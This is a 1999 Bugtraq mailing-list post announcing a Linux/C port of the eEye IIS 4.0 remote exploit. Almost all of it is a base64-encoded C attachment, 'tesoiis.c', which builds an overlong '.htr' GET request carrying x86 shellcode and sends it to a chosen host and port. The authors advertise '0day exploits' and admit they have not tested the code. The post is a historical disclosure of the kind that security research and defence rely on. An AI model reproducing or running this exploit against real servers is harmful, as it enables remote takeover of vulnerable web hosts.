|
Date: Wed, 16 Jun 1999 19:04:20 +0200 From: typo <typo@HERT.ORG> To: BUGTRAQ@netspace.org Subject: iis4 remote exploit ported This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-964249873-929552660=:350 Content-Type: TEXT/PLAIN; charset=US-ASCII the teso crew has ported the iis exploit to linux... basically this program does the same as the windows version (written in asm) of this exploit. Produced shellcode is identical.. everything should work.. we haven't tested. Everyone except rootshell.com is allowed to put a copy of this on his/her/their webpage. <advertisement> visit #austria on ircnet for newest elite 0day exploits. </advertisement> scut & typo --0-964249873-929552660=:350 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="tesoiis.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.BSF.4.03.9906161904200.350@plan9.hert.org> Content-Description: sploit Content-Disposition: attachment; filename="tesoiis.c" DQ0KLyogaWlzIDQuMCBleHBsb2l0DQ0KICogYnkgZWV5ZSBzZWN1cml0eQ0N CiAqDQ0KICogcG9ydGVkIHRvIHVuaXgvQyBieSB0aGUgdGVzbyBjcmV3Lg0N CiAqDQ0KICogc2hvdXRvdXRzIHRvICNoYXggYW5kIGV2ZXJ5b25lIGVsc2Ug a25vd2luZyB1cy4uLg0NCiAqICB5b3Uga25vdyB3aG8geW91IGFyZS4NDQog Kg0NCiAqIGdjYyAtbyB0ZXNvaWlzIHRlc29paXMuYyAtV2FsbA0NCiAqLw0N Cg0NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NDQojaW5jbHVkZSA8c3lzL2lv Y3RsLmg+DQ0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NDQojaW5jbHVkZSA8 c3lzL3RpbWUuaD4NDQojaW5jbHVkZSA8YXJwYS9pbmV0Lmg+DQ0KI2luY2x1 ZGUgPG5ldGRiLmg+DQ0KI2luY2x1ZGUgPG5ldC9pZi5oPg0NCiNpbmNsdWRl IDxuZXRpbmV0L2luLmg+DQ0KI2luY2x1ZGUgPGVycm5vLmg+DQ0KI2luY2x1 ZGUgPGZjbnRsLmg+DQ0KI2luY2x1ZGUgPHN0ZGFyZy5oPg0NCiNpbmNsdWRl IDxzdGRpby5oPg0NCiNpbmNsdWRlIDxzdGRsaWIuaD4NDQojaW5jbHVkZSA8 c3RyaW5nLmg+DQ0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0NCg0NCmludAluZXRf Y29ubmVjdCAoc3RydWN0IHNvY2thZGRyX2luICpjcywgY2hhciAqc2VydmVy LA0NCgl1bnNpZ25lZCBzaG9ydCBpbnQgcG9ydCwgY2hhciAqc291cmNlaXAs DQ0KCXVuc2lnbmVkIHNob3J0IGludCBzb3VyY2Vwb3J0LCBpbnQgc2VjKTsN DQoNDQp2b2lkCW5ldF93cml0ZSAoaW50IGZkLCBjb25zdCBjaGFyICpzdHIs IC4uLik7DQ0KDQ0KdW5zaWduZWQgbG9uZyBpbnQgICAgICAgbmV0X3Jlc29s dmUgKGNoYXIgKmhvc3QpOw0NCg0NCmNoYXIgc3R1ZmZbXSA9ICJceDQyXHg2 OFx4NjZceDc1XHg0MVx4NTAiOyAvKiAiIUdFVCAvIiAqLw0NCg0NCiNkZWZp bmUJVVJMX09GRlNFVAkxMDU1DQ0KDQ0KY2hhciBmcm9udFtdID0gIkdFVCAv QUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIN DQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIN DQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQSINDQoJIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSINDQoJIlx4NDFceDQxXHg0MVx4 NDFceDQxXHg0MVx4YjBceDg3XHg2N1x4NjhceGIwXHg4NyINDQoJIlx4Njdc eDY4XHg5MFx4OTBceDkwXHg5MFx4NThceDU4XHg5MFx4MzNceGMwXHg1MCIN DQoJIlx4NWJceDUzXHg1OVx4OGJceGRlXHg2Nlx4YjhceDIxXHgwMlx4MDNc eGQ4XHgzMiINDQoJIlx4YzBceGQ3XHgyY1x4MjFceDg4XHgwM1x4NGJceDNj XHhkZVx4NzVceGY0XHg0MyINDQoJIlx4NDNceGJhXHhkMFx4MTBceDY3XHg2 OFx4NTJceDUxXHg1M1x4ZmZceDEyXHg4YiINDQoJIlx4ZjBceDhiXHhmOVx4 ZmNceDU5XHhiMVx4MDZceDkwXHg1YVx4NDNceDMyXHhjMCINDQoJIlx4ZDdc eDUwXHg1OFx4ODRceGMwXHg1MFx4NThceDc1XHhmNFx4NDNceDUyXHg1MSIN DQoJIlx4NTNceDU2XHhiMlx4NTRceGZmXHgxMlx4YWJceDU5XHg1YVx4ZTJc eGU2XHg0MyINDQoJIlx4MzJceGMwXHhkN1x4NTBceDU4XHg4NFx4YzBceDUw XHg1OFx4NzVceGY0XHg0MyINDQoJIlx4NTJceDUzXHhmZlx4MTJceDhiXHhm MFx4NWFceDMzXHhjOVx4NTBceDU4XHhiMSINDQoJIlx4MDVceDQzXHgzMlx4 YzBceGQ3XHg1MFx4NThceDg0XHhjMFx4NTBceDU4XHg3NSINDQoJIlx4ZjRc eDQzXHg1Mlx4NTFceDUzXHg1Nlx4YjJceDU0XHhmZlx4MTJceGFiXHg1OSIN DQoJIlx4NWFceGUyXHhlNlx4MzNceGMwXHg1MFx4NDBceDUwXHg0MFx4NTBc eGZmXHg1NyINDQoJIlx4ZjRceDg5XHg0N1x4Y2NceDMzXHhjMFx4NTBceDUw XHhiMFx4MDJceDY2XHhhYiINDQoJIlx4NThceGI0XHg1MFx4NjZceGFiXHg1 OFx4YWJceGFiXHhhYlx4YjFceDIxXHg5MCINDQoJIlx4NjZceDgzXHhjM1x4 MTZceDhiXHhmM1x4NDNceDMyXHhjMFx4ZDdceDNhXHhjOCINDQoJIlx4NzVc eGY4XHgzMlx4YzBceDg4XHgwM1x4NTZceGZmXHg1N1x4ZWNceDkwXHg2NiIN DQoJIlx4ODNceGVmXHgxMFx4OTJceDhiXHg1Mlx4MGNceDhiXHgxMlx4OGJc eDEyXHg5MiINDQoJIlx4OGJceGQ3XHg4OVx4NDJceDA0XHg1Mlx4NmFceDEw XHg1Mlx4ZmZceDc3XHhjYyINDQoJIlx4ZmZceDU3XHhmOFx4NWFceDY2XHg4 M1x4ZWVceDA4XHg1Nlx4NDNceDhiXHhmMyINDQoJIlx4ZmNceGFjXHg4NFx4 YzBceDc1XHhmYlx4NDFceDRlXHhjN1x4MDZceDhkXHg4YSINDQoJIlx4OGRc eDhhXHg4MVx4MzZceDgwXHg4MFx4ODBceDgwXHgzM1x4YzBceDUwXHg1MCIN DQoJIlx4NmFceDQ4XHg1M1x4ZmZceDc3XHhjY1x4ZmZceDU3XHhmMFx4NThc eDViXHg4YiINDQoJIlx4ZDBceDY2XHhiOFx4ZmZceDBmXHg1MFx4NTJceDUw XHg1Mlx4ZmZceDU3XHhlOCINDQoJIlx4OGJceGYwXHg1OFx4OTBceDkwXHg5 MFx4OTBceDUwXHg1M1x4ZmZceDU3XHhkNCINDQoJIlx4OGJceGU4XHgzM1x4 YzBceDVhXHg1Mlx4NTBceDUyXHg1Nlx4ZmZceDc3XHhjYyINDQoJIlx4ZmZc eDU3XHhlY1x4ODBceGZjXHhmZlx4NzRceDBmXHg1MFx4NTZceDU1XHhmZiIN DQoJIlx4NTdceGQ4XHg4MFx4ZmNceGZmXHg3NFx4MDRceDg1XHhjMFx4NzVc eGRmXHg1NSINDQoJIlx4ZmZceDU3XHhkY1x4MzNceGMwXHg0MFx4NTBceDUz XHhmZlx4NTdceGU0XHg5MCINDQoJIlx4OTBceDkwXHg5MFx4ZmZceDZjXHg2 Nlx4NzNceDZmXHg2Nlx4NmRceDU0XHg1MyINDQoJIlx4MjFceDgwXHg4ZFx4 ODRceDkzXHg4Nlx4ODJceDk1XHgyMVx4ODBceDhkXHg5OCINDQoJIlx4OTNc eDhhXHg5NVx4ODZceDIxXHg4MFx4OGRceDg0XHg4ZFx4OTBceDk0XHg4NiIN DQoJIlx4MjFceDgwXHg4ZFx4OTBceDkxXHg4Nlx4OGZceDIxXHg3OFx4OGFc eDhmXHg2NiINDQoJIlx4OTlceDg2XHg4NFx4MjFceDY4XHg4ZFx4OTBceDgz XHg4Mlx4OGRceDYyXHg4ZCINDQoJIlx4OGRceDkwXHg4NFx4MjFceDc4XHg3 NFx4NzBceDY0XHg2Y1x4NTRceDUzXHgyMSINDQoJIlx4OTNceDg2XHg4NFx4 OTdceDIxXHg5NFx4ODZceDhmXHg4NVx4MjFceDk0XHg5MCINDQoJIlx4ODRc eDhjXHg4Nlx4OTVceDIxXHg4NFx4OTBceDhmXHg4Zlx4ODZceDg0XHg5NSIN DQoJIlx4MjFceDg4XHg4Nlx4OTVceDg5XHg5MFx4OTRceDk1XHg4M1x4OWFc eDhmXHg4MiINDQoJIlx4OGVceDg2XHgyMVx4OTBceDk4XHg4Zlx4NGZceDg2 XHg5OVx4ODZceDIxIg0NCi8qIHN0aWNrIGl0IGluIGhlcmUgKi8NDQoJIlx4 MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjEiDQ0KCSJc eDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4 MjEiDQ0KCSJceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFc eDIxXHgyMVx4MjEiDQ0KCSJceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIx XHgyMVx4MjFceDIxXHgyMVx4MjEiDQ0KCSJceDIxXHgyMVx4MjFceDIxXHgy MVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjEiDQ0KCSJceDIxXHgyMVx4 MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjEiDQ0KCSJc eDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4MjFceDIxXHgyMVx4 MjEiDQ0KCSJceDIxXHgyMVx4MjEiDQ0KCSIuaHRyIEhUVFAvMS4wIjsNDQoN DQp2b2lkDQ0KdXNhZ2UgKHZvaWQpDQ0Kew0NCglwcmludGYgKCJ1c2FnZTog Li90ZXNvaWlzIGhvc3QgcG9ydCB1cmxcbiIpOw0NCglleGl0IChFWElUX0ZB SUxVUkUpOw0NCn0NDQoNDQppbnQNDQptYWluIChpbnQgYXJnYywgY2hhciAq YXJndltdKQ0NCnsNDQoJLyogeWFkZGEseWFkZGEuLiB5b3UgY2FuIHRyeSBl eHBsb2l0aW5nIG91ciBleHBsb2l0ISENDQoJICogdXBkYXRlOiBobW0uLiBp cyB0aGlzIGV4cGxvaXRhYmxlPyBnZXRzIEVJUCB0b3VjaGVkIGJ5IGV4aXQo KT8NDQoJICogZ290dGEgY2hlY2sgdGhpcyBsYXRlci4uLg0NCgkgKi8NDQoN DQoJY2hhcgkJCWhvc3RbMjU2XSwgdXJsWzI1Nl07DQ0KCWludAkJCXBvcnQs c2QsdCA9IDA7DQ0KCWludAkJCW0gPSAwOw0NCgljaGFyCQkJKmNjLCAqcGZm dDsNDQoJc3RydWN0IHNvY2thZGRyX2luCWNzOw0NCg0NCglwcmludGYgKCJ0 ZXNvIGNyZXcgSUlTIGV4cGxvaXQuLiBzaGVsbGNvZGUgYnkgZUV5ZS5cbiIp Ow0NCglwcmludGYgKCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS1cbiIpOw0NCglpZiAoYXJnYyA8IDQpDQ0KCQl1c2FnZSgp Ow0NCg0NCglzdHJjcHkgKGhvc3QsIGFyZ3ZbMV0pOw0NCglzdHJjcHkgKHVy bCwgYXJndlszXSk7DQ0KDQ0KCXBvcnQgPSBhdG9pIChhcmd2WzJdKTsNDQoJ aWYgKChwb3J0IDwgMSkgfHwgKHBvcnQgPiA2NTUzNSkpDQ0KCQl1c2FnZSgp Ow0NCg0NCgljYyA9IHVybDsNDQoJcGZmdCA9IGZyb250ICsgVVJMX09GRlNF VDsNDQoNDQoJd2hpbGUgKCpjYykgew0NCgkJaWYgKCpjYyA9PSAnLycgJiYg MCA9PSB0KSB7DQ0KCQkJbWVtY3B5IChwZmZ0LCBzdHVmZiwgNik7DQ0KCQkJ cGZmdCArPSA2Ow0NCgkJCXQgPSAxOw0NCgkJfSBlbHNlIHsNDQoJCQkqcGZm dCA9ICpjYyArIDB4MjE7DQ0KCQkJcGZmdCsrOw0NCgkJfQ0NCgkJY2MrKzsN DQoJCW0gKz0gMTsNDQoJfQ0NCg0NCglwcmludGYgKCJIb3N0OiAlcyBQb3J0 OiAlZCBVcmw6ICVzXG4iLCBob3N0LCBwb3J0LCB1cmwpOw0NCg0NCglwcmlu dGYgKCJDb25uZWN0aW5nLi4uICIpOw0NCglmZmx1c2ggKHN0ZG91dCk7DQ0K CXNkID0gbmV0X2Nvbm5lY3QgKCZjcywgaG9zdCwgcG9ydCwgTlVMTCwgMCwg MzApOyAgDQ0KDQ0KCWlmIChzZCA8IDEpIHsNDQoJCXByaW50ZiAoImZhaWxl ZCFcbiIpOw0NCgkJZXhpdCAoRVhJVF9GQUlMVVJFKTsNDQoJfQ0NCg0NCglw cmludGYgKCJkb25lLi4gc2VuZGluZyBzaGVsbGNvZGUuLiIpOw0NCglmZmx1 c2ggKHN0ZG91dCk7DQ0KDQ0KCW5ldF93cml0ZSAoc2QsICIlc1xuXG4iLCBm cm9udCk7DQ0KDQ0KCXByaW50ZiAoImRvbmUuLiBjbG9zaW5nIGZkIVxuIik7 DQ0KCWNsb3NlIChzZCk7DQ0KDQ0KCXByaW50ZiAoIiVzXG4iLCBmcm9udCk7 DQ0KDQ0KCWV4aXQgKEVYSVRfU1VDQ0VTUyk7DQ0KfQ0NCg0NCmludA0NCm5l dF9jb25uZWN0IChzdHJ1Y3Qgc29ja2FkZHJfaW4gKmNzLCBjaGFyICpzZXJ2 ZXIsIHVuc2lnbmVkIHNob3J0IGludCBwb3J0LCBjaGFyICpzb3VyY2VpcCwN DQogICAgICAgICAgICAgICAgdW5zaWduZWQgc2hvcnQgaW50IHNvdXJjZXBv cnQsIGludCBzZWMpDQ0Kew0NCiAgICAgICAgaW50ICAgICAgICAgICAgIG4s IGxlbiwgZXJyb3IsIGZsYWdzOw0NCiAgICAgICAgaW50ICAgICAgICAgICAg IGZkOw0NCiAgICAgICAgc3RydWN0IHRpbWV2YWwgIHR2Ow0NCiAgICAgICAg ZmRfc2V0ICAgICAgICAgIHJzZXQsIHdzZXQ7DQ0KDQ0KICAgICAgICAvKiBm aXJzdCBhbGxvY2F0ZSBhIHNvY2tldCAqLw0NCiAgICAgICAgY3MtPnNpbl9m YW1pbHkgPSBBRl9JTkVUOw0NCiAgICAgICAgY3MtPnNpbl9wb3J0ID0gaHRv bnMgKHBvcnQpOw0NCg0NCiAgICAgICAgZmQgPSBzb2NrZXQgKGNzLT5zaW5f ZmFtaWx5LCBTT0NLX1NUUkVBTSwgMCk7DQ0KICAgICAgICBpZiAoZmQgPT0g LTEpDQ0KICAgICAgICAgICAgICAgIHJldHVybiAoLTEpOw0NCg0NCiAgICAg ICAgaWYgKCEoY3MtPnNpbl9hZGRyLnNfYWRkciA9IG5ldF9yZXNvbHZlIChz ZXJ2ZXIpKSkgew0NCiAgICAgICAgICAgICAgICBjbG9zZSAoZmQpOw0NCiAg ICAgICAgICAgICAgICByZXR1cm4gKC0xKTsNDQogICAgICAgIH0NDQoNDQog ICAgICAgIGZsYWdzID0gZmNudGwgKGZkLCBGX0dFVEZMLCAwKTsNDQogICAg ICAgIGlmIChmbGFncyA9PSAtMSkgew0NCiAgICAgICAgICAgICAgICBjbG9z ZSAoZmQpOw0NCiAgICAgICAgICAgICAgICByZXR1cm4gKC0xKTsNDQogICAg ICAgIH0NDQogICAgICAgIG4gPSBmY250bCAoZmQsIEZfU0VURkwsIGZsYWdz IHwgT19OT05CTE9DSyk7DQ0KICAgICAgICBpZiAobiA9PSAtMSkgew0NCiAg ICAgICAgICAgICAgICBjbG9zZSAoZmQpOw0NCiAgICAgICAgICAgICAgICBy ZXR1cm4gKC0xKTsNDQogICAgICAgIH0NDQoNDQogICAgICAgIGVycm9yID0g MDsNDQoNDQogICAgICAgIG4gPSBjb25uZWN0IChmZCwgKHN0cnVjdCBzb2Nr YWRkciAqKSBjcywgc2l6ZW9mIChzdHJ1Y3Qgc29ja2FkZHJfaW4pKTsNDQog ICAgICAgIGlmIChuIDwgMCkgew0NCiAgICAgICAgICAgICAgICBpZiAoZXJy bm8gIT0gRUlOUFJPR1JFU1MpIHsNDQogICAgICAgICAgICAgICAgICAgICAg ICBjbG9zZSAoZmQpOw0NCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVy biAoLTEpOw0NCiAgICAgICAgICAgICAgICB9DQ0KICAgICAgICB9DQ0KICAg ICAgICBpZiAobiA9PSAwKQ0NCiAgICAgICAgICAgICAgICBnb3RvIGRvbmU7 DQ0KDQ0KICAgICAgICBGRF9aRVJPKCZyc2V0KTsNDQogICAgICAgIEZEX1pF Uk8oJndzZXQpOw0NCiAgICAgICAgRkRfU0VUKGZkLCAmcnNldCk7DQ0KICAg ICAgICBGRF9TRVQoZmQsICZ3c2V0KTsNDQogICAgICAgIHR2LnR2X3NlYyA9 IHNlYzsNDQogICAgICAgIHR2LnR2X3VzZWMgPSAwOw0NCg0NCiAgICAgICAg biA9IHNlbGVjdChmZCArIDEsICZyc2V0LCAmd3NldCwgTlVMTCwgJnR2KTsN DQogICAgICAgIGlmIChuID09IDApIHsNDQogICAgICAgICAgICAgICAgY2xv c2UoZmQpOw0NCiAgICAgICAgICAgICAgICBlcnJubyA9IEVUSU1FRE9VVDsN DQogICAgICAgICAgICAgICAgcmV0dXJuICgtMSk7DQ0KICAgICAgICB9DQ0K ICAgICAgICBpZiAobiA9PSAtMSkNDQogICAgICAgICAgICAgICAgcmV0dXJu ICgtMSk7DQ0KDQ0KICAgICAgICBpZiAoRkRfSVNTRVQoZmQsICZyc2V0KSB8 fCBGRF9JU1NFVChmZCwgJndzZXQpKSB7DQ0KICAgICAgICAgICAgICAgIGlm IChGRF9JU1NFVChmZCwgJnJzZXQpICYmIEZEX0lTU0VUKGZkLCAmd3NldCkp IHsNDQogICAgICAgICAgICAgICAgICAgICAgICBsZW4gPSBzaXplb2YoZXJy b3IpOw0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChnZXRzb2Nrb3B0 KGZkLCBTT0xfU09DS0VULCBTT19FUlJPUiwgJmVycm9yLCAmbGVuKSA8IDAp IHsNDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVycm5vID0g RVRJTUVET1VUOw0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg cmV0dXJuICgtMSk7DQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0NCiAg ICAgICAgICAgICAgICAgICAgICAgIGlmIChlcnJvciA9PSAwKSB7DQ0KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnb3RvIGRvbmU7DQ0KICAg ICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsNDQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIGVycm5vID0gZXJyb3I7DQ0KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKC0xKTsNDQogICAgICAg ICAgICAgICAgICAgICAgICB9DQ0KICAgICAgICAgICAgICAgIH0NDQogICAg ICAgIH0gZWxzZQ0NCiAgICAgICAgICAgICAgICByZXR1cm4gKC0xKTsNDQoN DQpkb25lOg0NCiAgICAgICAgbiA9IGZjbnRsKGZkLCBGX1NFVEZMLCBmbGFn cyk7DQ0KICAgICAgICBpZiAobiA9PSAtMSkNDQogICAgICAgICAgICAgICAg cmV0dXJuICgtMSk7DQ0KICAgICAgICByZXR1cm4gKGZkKTsNDQp9DQ0KDQ0K dW5zaWduZWQgbG9uZyBpbnQNDQpuZXRfcmVzb2x2ZSAoY2hhciAqaG9zdCkN DQp7DQ0KICAgICAgICBsb25nICAgICAgICAgICAgaTsNDQogICAgICAgIHN0 cnVjdCBob3N0ZW50ICAqaGU7DQ0KDQ0KICAgICAgICBpID0gaW5ldF9hZGRy KGhvc3QpOw0NCiAgICAgICAgaWYgKGkgPT0gLTEpIHsNDQogICAgICAgICAg ICAgICAgaGUgPSBnZXRob3N0YnluYW1lKGhvc3QpOw0NCiAgICAgICAgICAg ICAgICBpZiAoaGUgPT0gTlVMTCkgew0NCiAgICAgICAgICAgICAgICAgICAg ICAgIHJldHVybiAoMCk7DQ0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQ0K ICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICgqKHVuc2lnbmVkIGxv bmcgKikgaGUtPmhfYWRkcik7DQ0KICAgICAgICAgICAgICAgIH0NDQogICAg ICAgIH0NDQogICAgICAgIHJldHVybiAoaSk7DQ0KfQ0NCg0NCnZvaWQNDQpu ZXRfd3JpdGUgKGludCBmZCwgY29uc3QgY2hhciAqc3RyLCAuLi4pDQ0Kew0N CiAgICAgICAgY2hhciAgICB0bXBbODE5Ml07DQ0KICAgICAgICB2YV9saXN0 IHZsOw0NCiAgICAgICAgaW50ICAgICBpOw0NCg0NCiAgICAgICAgdmFfc3Rh cnQodmwsIHN0cik7DQ0KICAgICAgICBtZW1zZXQodG1wLCAwLCBzaXplb2Yo dG1wKSk7DQ0KICAgICAgICBpID0gdnNucHJpbnRmKHRtcCwgc2l6ZW9mKHRt cCksIHN0ciwgdmwpOw0NCiAgICAgICAgdmFfZW5kKHZsKTsNDQoNDQogICAg ICAgIHNlbmQoZmQsIHRtcCwgaSwgMCk7DQ0KICAgICAgICByZXR1cm47DQ0K fQ0NCg0NCg0NCg== --0-964249873-929552660=:350--
|